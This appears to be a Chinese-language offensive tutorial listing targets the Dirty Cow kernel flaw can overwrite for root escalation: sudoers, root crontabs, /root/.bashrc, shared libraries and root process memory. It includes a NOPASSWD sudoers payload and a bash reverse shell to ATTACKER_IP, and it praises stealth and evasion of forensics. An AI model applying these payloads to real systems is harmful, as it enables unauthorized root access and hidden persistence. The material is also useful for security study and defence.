Skip to content

15-33

约 930 字大约 3 分钟

2025-11-02

除了修改 /etc/passwd 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权

一、关键文件劫持

直接修改 /etc/passwd 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径:

1. 劫持 sudoers 文件或其配置片段

  • 目标: /etc/sudoers/etc/sudoers.d/* 下的任意配置文件
  • 攻击原理: 利用 Dirty Cow 写入一行配置,允许当前低权限用户无需密码即可执行特定命令或所有命令 (NOPASSWD: ALL)
  • Payload 示例: 写入一行 user ALL=(ALL) NOPASSWD: ALL,其中 user 是我们当前的低权限用户名
  • 优点: 相比于修改 passwd 文件,劫持 sudoers 无需重启或等待登录,权限提升是即时

2. 劫持 Root 用户的定时任务 (Crontabs)

  • 目标: /var/spool/cron/crontabs/root (在某些发行版上,如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件(如 /etc/crontab
  • 攻击原理: 利用 Dirty Cow 写入一行定时任务,该任务将在下一次执行时以 Root 权限运行我们的 Payload(例如,反弹 Shell 或创建 SUID 文件)
  • 优点: 提供持久性间接提权。攻击载荷隐藏在定时任务中,不直接修改系统核心凭证文件

3. 劫持 Shell 启动文件(持久化)

  • 目标: Root 用户的 Shell 启动文件,如 /root/.bashrc/root/.profile
  • 攻击原理: 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时,我们的代码将被执行
  • Payload 示例: 写入一行 bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 (反弹 Root Shell)
  • 优点: 实现了 持久性,利用的是用户正常的登录流程

二、利用动态链接库 (Shared Libraries) 劫持

这是更高级和更隐蔽的利用方法,旨在通过系统级的动态链接机制来触发 Root 权限代码执行。

1. 劫持系统关键库函数

  • 目标: 系统关键的动态链接库,如 /lib/x86_64-linux-gnu/libc.so.6/lib/ld-linux.so.2
  • 攻击原理: 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中极小的、不常用的函数代码,用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时,我们的 Shellcode 就会以 Root 权限执行
  • 优点: 隐蔽性极高,因为只修改了库中的极小片段,而非整个文件

2. 劫持 SUID/SGID 程序的依赖库

  • 目标: 任何以 Root 权限运行的 SUID/SGID 程序(如 /bin/ping, /usr/bin/passwd 等)所依赖的动态链接库
  • 攻击原理: 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件(例如,libnss_files.so.2)。在库中写入恶意代码,当 SUID 程序被执行时,它会加载并执行我们的恶意代码,从而获得 SUID 程序的权限(通常是 Root)

三、内存区域劫持:即时提权

Dirty Cow 的一个独特之处在于其对内存区域的劫持能力,这提供了即时提权的可能性

1. 劫持 Root 进程的内存空间

  • 目标: 任何当前正在运行的 Root 进程(例如,sshdcrondsystemd
  • 攻击原理: 尽管不能直接对整个进程内存进行操作,但可以通过读取该进程的 /proc/[PID]/maps 文件,找到其 Text Segment (代码段) 中映射的内存页。利用 Dirty Cow,覆盖该进程代码段中的某个不常用指令,用 JMP 或 Shellcode 替换,从而劫持进程的执行流程
  • 优点: 提权是即时的,且不涉及任何文件的磁盘写入,取证难度极高